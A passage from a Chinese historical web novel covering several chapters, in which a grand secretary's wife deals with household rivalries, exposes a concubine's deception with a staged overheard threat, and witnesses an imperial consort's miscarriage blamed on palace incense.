“夫人，那些丫头们说老太爷老当力壮，夜夜叫水，竟然比——比我们爷还要强些！”茉心撇了撇嘴继续道，“奴婢当场就教训了那些嚼舌根的家伙，不过——” 不过平心而论，茉心觉得那些丫头们说的倒也不是全错。 她伺候夫人已然月余，但老爷和夫人却从未叫过一次水，而且老爷也从未去过琥珀姨娘的房中。 正所谓无风不起浪，茉心其实也暗暗怀疑过老爷是否有隐疾，但茉心绝不容忍蘅泽苑里有嘴巴不严的家伙。 即便老爷不行，那也是有值夜的丫头跑出去嚼舌的，茉心暗暗发誓定然要揪出这嚼舌的死丫头！但是她家夫人是真心可怜啊，年纪轻轻的，哎—— 姜小满一口茶水差点儿喷了出来？这做了官太太还有这等副作用？竟然连这等隐私都守不住！ 姜小满不禁怀念在甘露巷的日子，她与明澈无论是夜夜缱绻，还是怒而分床都不会有人嚼舌！哪像现在，按规矩门前日日都有值夜的丫头，眼巴巴听着屋里的动静，苍天呀！ “那个，茉心，晚膳可备好了！” 姜小满尴尬地转移了话题，那茉心却心下更加难受了，老爷果然有疾，否则夫人怎得闭口不谈呢？夫人真不容易呀！ 夜里，姜小满瞧着旁侧的明澈不禁思绪翩飞。 自明妈妈病逝，以及琥珀入府以来二人便未在一起过。起先是为明妈妈守孝，后来是生明澈的气。 但眼下气已基本消了，日子还得照过，她与明澈总不能一直这样下去吧。况且小满自己也早已食髓知味，平日里看着腻腻歪歪的孙元娘和明三头，她也羡慕得紧呢—— 思绪翻飞间，姜小满便走了困有些睡不着。 此时，更子已敲过两遍，姜小满正一动不动望着墙壁数羊，忽得听到一种熟悉的声音。 声音是从明澈那里传来的，而明澈就躺在自己的旁边。 感受着枕畔之人自给自足的动静，姜小满脸上一阵火辣辣的，他有娘子，还有姨娘，竟然—— 姜小满一个激灵坐了起来，明澈的动作便僵在了那里，“娘子，你，你做什么？” “我渴了，要喝水！”姜小满忽得扭头，便借着屋内昏暗的微灯将明澈那还未恢复的身体瞧了个遍。 “你在干嘛？”不知怎得，姜小满的嘴好似有了自己的意识，它就想问这么一句。 “娘子——”明澈倒也没觉得多么窘迫，反倒是理直气壮道，“这不是没办法嘛！若是娘子愿意我自不必如此！” 门外值夜的丫鬟已然清闲惯了，想着闲来无事便小声唠起了家常，唠着唠着便听到了室内主君和主母的动静。 二人再不敢懈怠，竖起耳朵便准备随时听从差遣。 屋里整整闹了一夜。 她们从前觉得夫人太不容易了，现在觉得夫人太不容易了！ 只堪堪不过几日，明澈的名声便回来了，小的还是比老的强呀！ 自蔡姨母成了老夫人后，姜小满也不过隔三差五去打个照面，毕竟只是继母，况且姜小满每每喊出那声“母亲”便觉浑身不自在。 这日，宫里赐了名贵的果子，姜小满自是想着要让全家都尝尝鲜。 所谓名贵的果子不过就是荔枝，姜小满上辈子是南方人，早已吃遍了各个品种的荔枝，然明府之人却大多未见过。 明家人平日都是各自用晚膳，因着荔枝不够分的原因，今儿便预备吃个团圆饭。 “哦，好甜呀！这个红红的果子，叫个什么？”明阿奶忍不住赞叹。 “阿奶，这个是荔枝！”姜小满道。 “来，娘子！”明澈剥了一枚荔枝送到了小满的嘴里。 那蔡氏见小夫妻如此恩爱便示意明二也替她剥一个。 哪知明二压根儿不知蔡氏的眼睛眨来眨去倒是何意，“哦，小满啊，你也给你母亲剥一个！” 明二会错了意，以为蔡氏是想摆摆婆婆的谱儿，但这声母亲落在姜小满的耳朵里却是分外刺耳。 在这个时代，婆母用膳儿媳在旁布菜是很常见的事，姜小满顺手便剥了一枚荔枝放进了蔡氏的碟子里，当然只是微微一笑并未喊母亲。 “怎得？澈儿媳妇是不懂规矩还是不愿喊我母亲呢？”蔡氏兴味道。 姜小满一惊，原来这蔡氏真把自己当正儿八经的婆婆了！ 第177章 妯娌不和？ “母亲这是哪里的话，您虽然同我那没福气的婆母不一样，既不用为明家生儿育女，也不用在明家微末之时整日操劳，但儿媳心里是有您的！” 姜小满揩了揩眼泪继续道，“实在是我方才想起了婆母，婆母为明家操劳半生还未晓得这荔枝是什么滋味便去了，所以心里不是滋味，望母亲不要见怪——” 那蔡氏听着姜小满一声声将自己与那明澈死了的亲娘作比，便似吃了苍蝇一般。 蔡氏：“小满啊，你既叫我一声母亲，我便不得不嘱咐你两句，你虽是有品阶的夫人，但也不能太过了，妯娌之间还是要热热切切地来往才好！” 她与妯娌不和睦吗？姜小满看了眼孙元娘，孙元娘亦是回看了一眼姜小满，这不是挺和睦的吗？ 当翠姑期期艾艾地劝着蔡氏道，“大伯母，别说了，我本来就是一乡野村妇，我省得的——” 原来她姜小满目中无人的人的翠姑啊！ 姜小满觉得自己与翠姑虽说算不上交好，但也还过得去吧，萍水相逢的就因为是堂妯娌，就要给她安顿吃住，还有每月三两的月钱发着，还要怎样啊？ 明三婶似有不满地瞪了自己儿媳一眼道，“自己不省事还怪别人瞧不上你——” 蔡氏：“话不能这么说，都是一家人，又不是衙门里，还能分个高低贵贱不成？” 姜小满听着这几人你一言我一语的讨伐，揉了揉脑袋颇有些头晕脑胀，好不容易过上有钱有闲的好日子，怎得又无故冒出这么两个不让人清净的主儿来。 半晌未吭声的明澈早已听烦了女人们的叽叽喳喳，简单干脆道，“分家！” 分家二字一出口，整个屋子都安静了。 二房和四房都是不怕分家的，然这句话在三房听来那便是天塌了！ “澈儿，你瞎说什么呢？你如今出息了可不得帮衬家里吗？分的哪门子家？”明二急着拉明澈坐下，随即安慰明家三房道，“放心，他若敢分家，看我不打断他的腿儿！” 明大死得早，明二作为活下来的次子，秉承着长兄为父的原则，一直将明家的兴旺寄托于自己的老婆和儿子身上。 如今老婆虽然死了，但儿子出息了，儿子是他明家的嫡长孙自然要扶持好明家所有人过上好日子，否则怎么对得起明家的列祖列宗。 明阿爷看到明二的吐沫星子似要飞溅到长孙的脸上，不禁缕了胡须夸赞道，“老二，这就对了！你是家里的长子，家里的天终究得你们二房撑着！” 明二被夸得兴匆匆的，恨不得当场给明澈两个巴掌，以显示自己的大家长身份和维护家族团结的决心。 姜小满却是悠悠地剥了颗荔枝送到蔡氏的碟子里，好似不以为然道，“分不分家自是长辈们说了算，不过若是分家了，母亲的月例银子倒是可以涨上一涨，每月五两也是尽够的——” 当那颗剥好的荔枝顺利滑入蔡氏的碟子后，蔡氏好似已然看到每月五两银子的例银在向自己招手。 蔡氏目前是每月三两，虽说嫁给了二品大员的父亲，但那明二却是个两袖清风的，除了和她一样每月等着儿子儿媳给自己发月例，再无其他收入。 但蔡氏可是需要钱的！ 蔡家虽说祖上也做过官，但到了他们这一代早已没落，若不是嫁给明二能贴补家用，家里早都揭不开锅了。 现下，蔡氏的亲生儿子还没娶媳妇，她自然是要多多攒钱给儿子娶媳妇了！ 思及此处，蔡氏品着荔枝忽得就换了主意，“相公，其实分家也未尝不可！” 此话一出，正在沉迷于明阿爷阿奶夸赞的明二忽得笑容凝在了脸上，他的娇妻想分家？ “夫人，何出此言啊！”明二伸手将蔡氏吐出的荔枝核接在手中，温声道。 “相公，我只是觉得澈儿为官清廉，要养这么一大家子着实是辛苦，呵呵——”蔡氏示意明二再为她剥一颗荔枝。 “其实，分家倒不是不行——”明二瞬时便转了风向。 “二哥二嫂，不能分家啊！”明三婶朝蔡氏投去了友好的目光。 那蔡氏却是好似没看到一般，对她来说明三婶这个新结识的老闺蜜可有可无，但上涨的月例那可是实打实的银子啊！ “明二，你个窝囊废！只要我一日不死，一日便不可分家！”明阿爷怒斥道。 向来孝顺的明二此时却不知该当如何了，一会儿瞧瞧老婆，一会儿瞧瞧爹娘，难啊！ 蔡氏：“相公，你当爹的自然要为孩子们考虑一二，怎能让澈儿肩上的担子如此之重？” 明阿爷：“你要是分家就别认我这个爹！” 被蔡氏和明阿爷左右夹击的明二涨红着脸，陷入了困顿，直到饭毕都没有争出个高下—— 姜小满懒得看他们打嘴仗便先行告退了，孙元娘也急忙跟了出来。 “小满，你当真想分家？”孙元娘不想，她总觉得只要不分家她和小满就是真正意义上的一家人。 “分不了！”姜小满笑笑。 那蔡氏虽是明二的心头肉，但明二骨子里永远都是将爹娘摆在第一，将他明家的利益摆在第一，最后终究是要同他爹娘站在一起。 姜小满之所以对蔡氏放言只要分家就会给她涨月例，无非是想让蔡氏同明三婶有了嫌隙。 想来经此一事，二人友谊的小船会暂且翻一阵，姜小满也可安静那么些日子了。 “那就好！”孙元娘开心道。 “分家多好，你堂堂的梨落公主分家之后自己做主母，岂不是畅快？”姜小满真是这么认为的。 “不！我才懒得费那劲，我就要跟着你！”孙元娘每每瞅着姜小满看账本头都大了，她觉得现在有姜小满替她操心的日子就是最好的日子。 “你呀，自己学学如何理家，哪日我不高兴了可就不管你了——”姜小满威胁道。 “你敢不管我？敢不敢？”孙元娘说着便同小满互相挠起了痒痒。 胡乱玩闹了一气，时辰尚早，二人便相携去吉庆坊听曲儿。 第178章 琥珀的秘密 再次来到吉庆坊，望着下面熙熙攘攘的人群，姜小满的心情却是无比的闲适。 记得上次来时还是为了替谢婉之抢回小公子，今日却是好友相随好不快哉。 二人尽兴地喝了一壶桃花酿正遥望着楼下的百戏，忽得一熟悉的面孔跃入眼帘。 “小满，你瞧，那不是你们二房的琥珀姨娘吗？”孙元娘道。 “是啊，琥珀怎得一人出来逛——”姜小满疑惑道。 “咳咳——”孙元娘故意清了清嗓子，问出了她忍了很久的问题，“那个，大嫂啊，据说自开府以来大哥一次都未进过琥珀姨娘的院子，可见大嫂管得严呐！” 只要孙元娘喊大嫂，那定然是藏了什么鬼主意，姜小满亦是兴味道，“对啊，你大嫂我是个醋坛子呢，怎能允许夫君去妾室的屋子，哪像我们梨落公主，大方得很，保不齐哪日就给驸马纳个贵妾呢！” 姜小满本是调侃，谁知那孙元娘却当了真，“小满，说真的，我倒是不介意给三头纳个妾，否则他夜里日日磋磨，我实在是——” 姜小满感同身受，这兄弟俩看来都康健得很，那明三头更是年轻气势了些。 姜小满：“元娘啊，若是三头真的有了妾室你便知晓其中的苦楚了！” “啊？还有更苦的！”孙元娘红了耳尖同小满说了些私房话，小满听了不禁咯咯笑着道，“的确是辛苦我们元娘了！” 二人你一言我一语间互相说了些闺房话，便见楼下的琥珀好似同一男子龃龉了起来。 “小满，要不要下去帮帮你家姨娘，她怎得会认识这种外男？”孙元娘提议道。 姜小满亦觉得疑惑，便派了随行的小厮去打听一二，待那小厮回来时，姜小满与孙元娘的头顶都炸了雷。 “夫人，小的一直偷偷跟在琥珀姨娘不远处，那男子说他同姨娘在一起时姨娘分明还未经过人事！” “说咱们小公子定然是他的种，若是不想揭破就要琥珀姨娘给他银子——” 那小厮滔滔不绝地将听到的消息事无巨细地告诉姜小满。 姜小满的脑袋有一瞬间空了，她深知琥珀同明澈只在一起一晚，若是那男子和琥珀在一起时琥珀还未经人事，那孩子是谁的？ 现在的姜小满可谓是怒喜交加。 她怒琥珀的欺骗，但心底那一丝的喜却是控制不住的疯长，原来明澈一直说没有同琥珀在一起竟然是真的？ 翌日，姜小满在收了很多日与己无关的京城秘闻后，终于收到了一条与自己密切相关的消息：【内阁大学士明澈之子是姨娘琥珀同陈郊所生。】 明澈从此分明了！ 这晚，明澈如常下值回家，姜小满却对其殷勤备至。 “相公，今天累了吧，先喝口茶缓缓！” 明澈见状颇有些摸不着头脑，自己今儿没犯什么错吧？ 待二人盥洗之后，明澈便照例拿了本书坐于案几前读了起来。 姜小满走近将明澈手中的书抽了出来，柔柔道，“相公，用功不在这一时，睡吧！” 明澈会意，嘴角弯成了弧形，自琥珀过来后，娘子便再未对自己如此热情，即便近来已然缓和许多，但他能感觉到娘子心底隐隐的那份距离。 今日，娘子竟然如此柔情似水，明澈一把将小满搂入怀中道，“听娘子的。” 正当此时，二人便听得茉莉在同屋外的琥珀拌嘴，“老爷夫人——都睡了——姨娘怎得——没规矩！” 那琥珀却是不依不饶道，“孩子闹着不睡，想来是想爹了，我也是没有法子呀——” 以前在甘露巷便罢了，明澈虽然不进她的屋子，但同姜小满也并未那么亲密。 可如今开了府，若是没有主君的宠爱她就是明府的笑柄，琥珀已然决定自己要靠着孩子争上一争！ 明澈已然兴起，不愿理会琥珀，但听到孩子便有一丝的心软，那毕竟是自己的孩子，生为人父怎能光顾着自己快活？ 眼见着明澈手上泄了力，姜小满便朝着门外喊了句：“让她进来！” “老爷，孩子哭闹——”琥珀甫一进门便看到小满悠悠从明澈的怀中站起，剩下的半句便哽在了喉咙说不出口。 她从未见过老爷夫人这个样子，那老爷欢喜宠溺的神态何曾在她面前流露过半点儿？ “孩子为何哭闹？”明澈关切道。 琥珀：“想来是几日未见到爹，想爹了——” 明澈正要开口便被小满拦了回去道，“孩子想爹亦不在这一时，等老爷空了自会去见孩子！” “老爷，父不慈则子不孝，孩子将来若是知道老爷这样待他会伤心的——”琥珀还是那副老样子，动不动就搬出些大道理来。 “我说了，老爷今晚没空！”姜小满怔怔道。 本来已经决定起身的明澈在听闻姜小满此言后便又复坐了回去，孩子哭闹一会儿想来无甚大事，但娘子却少见这般地留人，难不成娘子今日分外想我？ “今晚的确有些书要读！”明澈底气不是很足地道。 待琥珀气呼呼地走后，明澈便兴奋异常般将小满抱回了榻上，“娘子，你可是想我了？” “想——” 一场欢愉，明澈觉得今夜的娘子热烈非常，好似对自己充满了怜惜？？ 果不其然，明澈还欲再来一次的间隙，小满便道出了一句，“相公，我有一言，你要做好心理准备！” “等会儿再说！”明澈觉得没有什么是比眼下更急的事情。 姜小满：“孩子好似不是你亲生的，琥珀姨娘同外男有染！” 明澈顿时泄了气，惊得止了身下的动作。 姜小满瞧着明澈的神情颇有些心疼，这些日子以来明澈是将那孩子当作亲生儿子来看待的。 明澈虽说不喜琥珀姨娘，但初为人父的喜悦却做不得假，那孩子他是真心疼爱过的。 “我今日同元娘去吉庆楼看百戏——”姜小满将今日所见通通说与了明澈。 明澈本就深信他与琥珀并未有染，若不是那床单上的一抹红，他是打死都不会承认的—— 若琥珀同那男子在一起时是未经人事，那床单上的红又该当如何解释？ 第179章 好一只绿头龟！ “可是，可是那红——”明澈硬着头皮同小满说出了他心中的秘密。 因着有了今日的所见所闻，又有着秘闻系统的消息，姜小满已然能肯定那片红不过是琥珀的把戏。 “相公，那不过是小把戏而已！大户人家内宅的弯弯绕多了去，我做丫鬟时早已听闻了许多，那琥珀又是在宫里见多了宫闱秘事的，这点子把戏算什么？” 小满一言，明澈心中的疑惑已然解了大半，但他依旧不能凭此便断定那孩儿非自己亲生。 “娘子，即便那孩子不是我的，但毕竟——”明澈思虑一番道，“其实明府多养一个孩子也是养得起的——” 姜小满无语，好一个绿王八！有必要让明澈见识一下养一个别人的孩子会是什么后果了！ 这日，姜小满安插在琥珀房里的蕊儿告知，琥珀的长兄又来看她了。 之前蕊儿便多次告知，琥珀有一个常来府里打秋风的长兄，当时姜小满并未在意，毕竟给琥珀的月钱是固定的，她愿意接济娘家亲戚那是她的自由。 但自揭破琥珀的秘密后，姜小满便对这位长兄存了疑。 姜小满：“她那位长兄可是身形瘦削，下唇厚厚的？” “回夫人，正是！”蕊儿吃惊夫人怎会晓得那人的样貌。 “好了，你且回去吧！” 姜小满当下便着人去衙门接明澈回来，就说明二病了。 当明澈急匆匆赶回后，姜小满便拉着他去往了琥珀的院子。 琥珀的院子里姜小满早已安顿好，因此二人进来时所有丫鬟仆从全部敛声屏气，他二人如入无人之境。 “就这些了，我每月三两银子的月钱，给你二两已然是不容易了！”琥珀不满道。 “你别和老子装，我儿子的月钱不也是你拿着吗？你每月手里握着六两银子，就给老子二两，莫不是活腻味了！”那名叫陈郊的男子威胁道。 琥珀两眼一翻很是后悔当初找了这么个男人，“孩子的钱自然要给孩子留着，难不成要拿孩子的钱养活你那一家老小吗？” 陈郊的确是这样想的，自打他知晓琥珀怀了自己的孩子后，就将这孩子当作了摇钱树。陈郊发誓既然让他摊上了这大运生出个金疙瘩来，他就必得靠着这孩子走上人生巅峰。 “少废话，我是这孩子的亲爹，孩子有钱孝敬他爹天经地义，以后孩子的那三两银子你按时送过来，我只要孩子的不要你的！”陈郊无耻地表达了盗亦有道的观点。 琥珀：“无耻！我当年不过看在你是我同乡的份儿上才与你在一起，你竟然这样狮子大开口，每月二两顶天了，若要再废话，你我一起死!” 那陈郊见琥珀动了大气，亦觉每月二两许是那琥珀能接受的极限了，再闹下去把事儿放在日头底下，的确是两败俱伤，琥珀没有好日子，他亦没有了摇钱树。 “行行行，二两就二两，按时送来啊——”那陈郊将银子谈妥，便换了神色道，“琥珀妹子，莫要动气嘛！那人不疼你，爷疼你！” 琥珀扭捏着故作生气道，“休要胡来，这可是明府！” “明府又怎得，谁不知你这院子里清净得很，怕是爷在此住上十天半个月那绿头龟也发现不了！”陈郊一把揽过琥珀道，“多亏了那丘八帮爷养老婆孩子，瞧你将养得更水灵了——” 躲在门外将一切尽收眼底的小满与明澈无声无息地退了出来，接下来的画面他俩就没必要再细细观赏了。 “明澈，你没事吧？”姜小满看着明澈若有所思的样子以为他受不了被称作绿头龟的打击，便上前去抚了抚明澈的背脊。 “娘子，你说得对！若是将那孩子留下怕是后患无穷！”经过方才一幕，明澈已然看开了。 若是将孩子留下就等同于要养活那陈郊一家人，更重要的是那陈郊贪心不足，迟早会有事发的一天！ 看到明澈并未伤怀过久，小满便嘟囔道，“我就说嘛，你昨儿还主动要当绿王八来着！说吧，接下来该如何处理？” 明澈：“我听你的！” 接下来的几日，姜小满日日要求琥珀入蘅泽苑站规矩。 突然有一天，蘅泽苑的下人们吃酒的吃酒，玩闹的玩闹，琥珀入蘅泽苑如入无人之境。 “你们今儿怎得这般自在，夫人跟前不需要人伺候吗？”琥珀逮了一个正在廊下嗑瓜子的小丫头问道。 那小丫头见是琥珀过来，立马规矩站起道，“回姨娘，夫人说了，今儿老爷休沐，她想与老爷自在一些，让我们都各自散去玩儿，有事再唤——” 原来如此！听到明澈在蘅泽苑后琥珀亦直直向内室的方向而去，与那粗汉子陈郊在一起是没有法子的事情，那修竹般的老爷能远远看上一眼也是好的。 “姨娘，夫人说了谁都不许入内室！”方才那小丫头在背后好心提醒着。 经这小丫头一说琥珀更要入内室瞧瞧了，反正夫人交代要日日来站规矩，她若不进去反倒是她的不对了？ 只是方才准备扣门，便听得姜小满一句，“都是那琥珀罪有应得！” 琥珀倒抽了一口凉气，心道，“怪不得姜小满不让丫头们近前伺候，原来是在谋划自己呢！” 当琥珀将耳朵竖起来之时便听得明澈叹了口气道，“必得痛痛快快解决了二人，否则事情若是闹了出来，我在内阁还怎么待得下去！” “的确是，此事不宜铺张，相公的名声和前程要紧，要我说那药也该是时候用上了。”姜小满好似思索了片刻道，“到时候是只解决琥珀，还是连孩子一起呢？毕竟稚子无辜啊！” 明澈：“不过是个杂种而已，一起解决了便罢！我已然查清了，外头那人名叫陈郊，之前做过侍卫！” 听到这里，琥珀已然脊背生了一层冷汗，她本以为明澈良善，哪怕他日事发也定然不会对孩子痛下杀手，如今却是看透了！ 既然主君和主母已然起了杀心，那必是躲不过的，生为母亲她要护孩子周全！所幸她早年在宫中积攒的银钱还够，现下不带着孩子和银子赶紧跑路还等什么？ 第180章 进宫 琥珀见多了宫里的厮杀，宫里一夜之间悄悄没了两个人那是和没了两只蚂蚁一般的悄无声息，她不能坐以待毙，赶紧带着孩子离开才是上策。 想通了的琥珀尽量敛声屏气往门外退，生怕引来室内二人的怀疑，然不知是太过紧张还是怎得，她竟一个趔趄撞到了外间的贵妃椅之上。 琥珀来不及呼痛，死死捂了嘴巴急速往外退。 小满故道，“谁人在外边？”然后便颇为疑惑地开门谨慎左右瞅瞅。 直待小满复将内门关好，躲在屏风后的琥珀便逃也似的离开了。 两日后的早晨，姜小满与明澈一同在明府最高处的望月亭之上目送着琥珀带着孩子悄然离去，这一去便是永别。 待处理完琥珀之事，姜小满便决定入宫一趟。 这些天来收到秘闻：【殿前司都指挥使之女高贵妃有孕。】 【帝后因大皇子钱谢安心中嫌隙。】 【大皇子钱谢安因身份原因，成为宫中的众矢之的。】 【小蝶苦求皇后将自己送予明澈为妾无果，已然记恨皇后并被高贵妃收买。】 ...... 诸如此类，皆与谢婉之相关。 甫一进坤宁宫，谢婉之便如同见到亲人般将小满迎了进去。 “小满啊，你如今也是一个大宅的主母了，若不是如此我非得将你要进宫陪我不可？”谢婉之不顾皇后之尊，表达着想要小满永远做她陪房的奢望。 “臣妾谢皇后娘娘抬爱，臣妾即便不能常常入宫，心中也是日日念着娘娘的。”姜小满恭敬行礼。 许久未见，谢婉之有许多话要与小满说，便将宫人遣散只留了榴月贴身伺候。 “多日未见，明夫人越发得明艳动人了！”如今已是宫中女官的榴月调笑着，三人好似回到了当初在蘅泽苑的时光。 姜小满：“榴月姐姐，我好久没吃过姐姐亲手做的荷叶鸡了，夜里做梦都馋的流口水呢——” “你这丫头，都是一家的主母了还这样馋猫似的，你等着，我去小厨房——”榴月说着便退了出去。 待榴月走后，谢婉之不解道，“小满，榴月自小就跟着我，怎得连她也要回避？” “娘娘，榴月姐姐自是忠诚的，臣妾只怕她与小蝶姐妹情深，又心无城府，将娘娘的秘辛不慎露予那小蝶。”姜小满定定道。 “小蝶？小蝶她可是榴月的亲妹妹，我待她不薄，她也是忠贞得呀！”谢婉之从未怀疑过从庆安侯府出来的小蝶。 小蝶是否忠贞，姜小满心知肚明，但并无证据，于是便让谢婉之回想近来是否有可疑之事。 谢婉之略一思索便道，“只一点，我与陛下嫌隙日深，每每想要化解之时那高贵妃便不期而至，我也曾怀疑宫中是否有细作，难不成？” 姜小满不置可否，只是提醒道，“娘娘，小蝶与榴月姐姐不同，虽是一母同袍，但小蝶性子执拗，倘若有不如意之事易往心里去，当日小蝶在我家中住过一些时日，所以还是了解些——” 姜小满说到小蝶曾在家中住过一些时日后，谢婉之忽得恍然大悟道，“我知道了，小蝶这丫头近来的确不对劲，就是从请旨赐婚开始！” 姜小满：“小蝶又有心上人了？” 一个又字，谢婉之便明了了，“小满你也知道小蝶倾慕的人是明澈对吗？” 小满点点头。 “就是这样！那日小蝶泪眼盈盈向我请旨，要入明府为贵妾，我未同你商量当时便拒了，一是为着你着想，二是不想看小蝶做他人妾室！”谢婉之悠悠回忆了一瞬便明了，那小蝶是自此记恨上自己了。 “臣妾只是了解小蝶的秉性，所以有一丝怀疑，娘娘只要多留心些就是了！”目的已然达到，姜小满便转了话头道，“娘娘近来可好，大皇子近来可好？” 谢婉之却是叹了口气道，“哎！安儿不是陛下亲生的孩儿，又占了一个嫡长，自然是这宫里头的一根刺——” 钱谢安不是陛下的亲生子这一点早已是公开的秘密，宫妃们瞧着这样一个来历不明的孩子做了大皇子自是一百个不甘心。 而皇帝虽说待谢安极好，但今时不同往日，他已然是天下之主，纵然是再念着同谢婉之青梅竹马的情谊，也不至于要将天下托付于谢安。 姜小满：“娘娘，大皇子的事儿您得早作打算，臣妾深知在娘娘心中大皇子的安慰最是重要，并没有要大皇子觊觎皇位的想法，既如此何不早早让大皇子离了这是非的核心以求平安呢？” “小满你所言极是，安儿非他亲生，我并没有那么贪心要让他立安儿为太子，只是安儿名义上是他的长子，若是在宫中便是所有人的刺，若是出宫的话那便要远离京城去封地不得相见，孩子那么小怎能舍得呀？”谢婉之满是忧愁。 是啊，谢安在宫里是那么地不合时宜，但远离京城又不放心，真真是进退两难。 “娘娘，您既然已是凤位，那庆安侯府也该平反了吧！”姜小满并未直面回答谢氏的问题，而是问到了曾经被二皇子牵连而被抄的庆安侯府谢家。 论理说谢家女儿都是皇后之尊了，皇后的娘家人再流放边陲便不太合适了。 “小满，不瞒你说陛下曾同我提起过庆安侯府，但是那又何必呢？”谢婉之叹了口气道，“你不知道，我母亲早逝，当年在侯府除了父亲外，那些姨娘和庶出弟妹——” 谢婉之摇摇头表示娘家之人并没有什么可惦念的，唯一疼爱自己的父亲已然离开了。 姜小满：“娘娘，但是庆安侯府的名号要恢复啊，那是谢家的基业呀！” 谢婉之：“若是平反了侯府，要谁来继承爵位呢？我那些庶弟哪个堪配？” “安儿配啊！”小满定定道。 “你是说敕封安儿做小侯爷？”谢婉之眼神亮亮道。 姜小满：“正是呢！若是安儿做了小侯爷就算是出嗣到了谢家，届时不但安儿平安顺遂永享富贵，而且还替外祖守住了家业，何乐而不为呢？” 第181章 梦太妃 “小满，我就说你得常来宫里瞧我的！”谢氏忽得就想通了，“如此一来安儿还留在京城，我甚至可以求陛下等安儿大一些再放出宫，我们母子便不必分离！” “嗯，安儿成了谢家的小主君，宫里自然无人再视其为眼中钉，这样一来安儿在宫中多待些年岁，想来宫里也不缺安儿那一口粮食——”姜小满笑谑道。 “如此，我与陛下的嫌隙也可解一些了！”谢婉之又同小满细细说了些同高贵妃的矛盾，以及同陛下的嫌隙，但只要解决了谢安的问题，其他的便都迎刃而解了。 二人又闲谈了一阵，姜小满看看天色便请求要去探望一下梦妃，说来自宫变后小满还未再见过梦妃。 谢婉之谆谆叮嘱小满看完了梦妃定然要再回来一起用午膳，她还有一箩筐的话没说完呢。 姜小满无不应是，便先去南宫探望梦妃了。 先帝死后他的后妃都迁往了南宫，这其中自然包括梦妃。 小满甫一踏入南宫便感受到一股莫名的荒凉。 若说皇帝对先帝的后妃实属厚道，这股荒凉倒不是说宫殿如何破败，宫妃的衣饰多么凌乱，而是一股透彻心扉的死气。 姜小满目之所及，先帝的宫妃们有的在晒太阳，有的在回忆着先帝同自己的那些露水情缘，当姜小满来到梦妃住所时便看到了形同槁木的梦妃。 “梦妃娘娘？”小满试着叫道。 这梦妃虽说还是美艳，但眸子里好似已然没有了神采，整个人木木的。 “小满！”梦妃回眸，“如今已是梦太妃了—” “娘娘近来可好？”姜小满望了眼萧瑟的庭院道。 “一个等死的地方，有什么好不好的。”梦妃笑叹口气道，“说来好笑，大事已了，竟不知活着是为何了—” 姜小满本想劝慰几句，但瞧着这满院的萧瑟和院子里如行尸走肉般的先帝美人，竟一时无语凝噎。 她们的确在等死！ 这些花样的女孩，很多都没有小满大，只因长得出众些便被前朝那些专营的官员当作礼物送至了宫里。 在短暂地被先帝宠幸后就只能在此孤独终老—— “娘娘，有人来看你了吗？”一看上去只有豆蔻的女孩羡慕道。 “是啊！”梦娘宠溺地捏捏那女子的脸蛋，随后同小满道，“这孩子只有十三岁，真真还是个孩子，说来这整个院子里也就她还有些生气——” 梦娘颇为感慨地告诉小满，这个女孩是当日同她一起将那昏君斩杀的美人之一。小小年纪便要经历这等风雨，当真是不易—— “斩杀？”姜小满疑惑道，“先帝不是崩于马—马上风吗？” 梦娘笑笑道，“陛下说是就是了—” 姜小满点点头不敢再去深究，眼瞧着快到晌午，姜小满需得离开了，她已然答应了皇后娘娘要一起午膳。 当姜小满离开之时，南宫的宫门缓缓落下，姜小满看着门内的那个世界，心中颇为不忍，这一个个如花般娇艳的本该绽放的人啊！ 待行至坤宁宫，姜小满入殿便看到了一位瓜子面的宫妃，瞧着那宫妃的富丽模样，姜小满与身边的榴月道，“娘娘宫里来客人了，那我就暂且出宫了。” 榴月附耳低语道，“娘娘交代了让你等等，这高贵妃很快便走了。” 榴月又耳语几句，姜小满便知道这高贵妃是殿前都指挥史高大人的女儿，如今已有五个月的身孕。 这高大人便是当年追随羽王宫变最大的功臣，若不是有高大人掌管皇城与禁军，羽王也不可能轻轻松松让西南军进入皇城。 所以这高贵妃凭着家族功勋被封，进宫便是贵妃，如今有了身孕更是矜贵非凡。倘若诞下皇子，那便是陛下实际意义上的长子。 “若不是谢婉之同陛下青梅竹马的情谊，想来这高贵妃是会直接入主中宫的。”姜小满这样想着便听得殿内高贵妃好似要离开了。 “娘娘不必送了，想来陛下已然在宫中等着妹妹用午膳了——”那高贵妃被人悠悠扶起，方迈出几步便觉身子不适，抚了孕肚复坐了回去。 谢婉之见状蓦然一阵心慌，这高贵妃同自己向来不睦，今儿不知抽了什么风非要来小坐一会儿？ 眼见着高贵妃的面部越来越狰狞，宫人们便各自惊慌着请太医的请太医，找皇上的找皇上—— 谢婉之着人将高贵妃安顿在偏殿，只一刻钟皇帝便神色匆匆般赶到了。 “蓉儿，你怎么样了？”皇帝紧紧握了高贵妃的手，这是他的第一个孩子，也是他登基以来的第一个孩子。 “陛下——这好端端地便——腹痛难忍——”高贵妃额上冒着豆大的汗珠，身下已有鲜血汩汩而出。 谢婉之静默一旁，虽说心惊但亦坦荡，高贵妃虽是在自己宫里出的事，但所有宫人皆可见证，她们从始至终只是闲话家常，没有龃龉更未有接触—— 太医们匆匆赶来，替高贵妃把了脉皆是摇头，孩子已然是保不住了！ 听此一言，皇帝暴怒，接连摔了几个茶盏道，“为何会如此？” 太医们皆不知为何会如此，其中一位斟酌几番后战战兢兢道，“想来是贵妃娘娘寒凝血淤的缘故。” 高贵妃的确体寒，但这些日子已然调理好了，太医们并未找出症结所在，只能以贵妃体寒来做搪塞。 “不对，娘娘虽然体寒，但既然已经怀胎那就已无大碍，微臣斗胆，敢问皇后娘娘宫中是否熏了香？”一三十左右的江姓太医上前询问。 谢婉之素喜熏香，但宫中香料一事皆由小蝶料理，她虽知宫中熏了香，但只道是日常的熏香并未觉得有何不妥之处。 “难不成是皇后宫中的香有不妥？”皇帝侧目道。 “回陛下，寻常的香气自然无碍，但微臣隐隐在身旁的宫人身上闻到了一丝残留的番栀子香气，不知皇后娘娘宫中熏了什么香？”那江姓太医叩首道。 听闻太医谈到熏香，谢婉之内心便升起了隐隐的不安，小满今日方让其多留意小蝶，现在小蝶所打理的香料便出了问题。 “本宫对香料并无讲究，不过燃个香熏熏屋子罢了，可有何不妥？”皇后质问。 第182章 滑胎 “有什么直接说！”皇帝怒斥。 江太医：“回陛下、娘娘，微臣斗胆猜测娘娘宫中所燃的香料名为东阁云头香，这香里有一味番栀子！倘若不将番栀子的花 蕊去掉直接入香的话便有活血的功效，有孕的妇人闻了怕是不好——” 皇帝：“皇后宫中的人是怎么伺候的？竟然熏了如此凶险的香？” 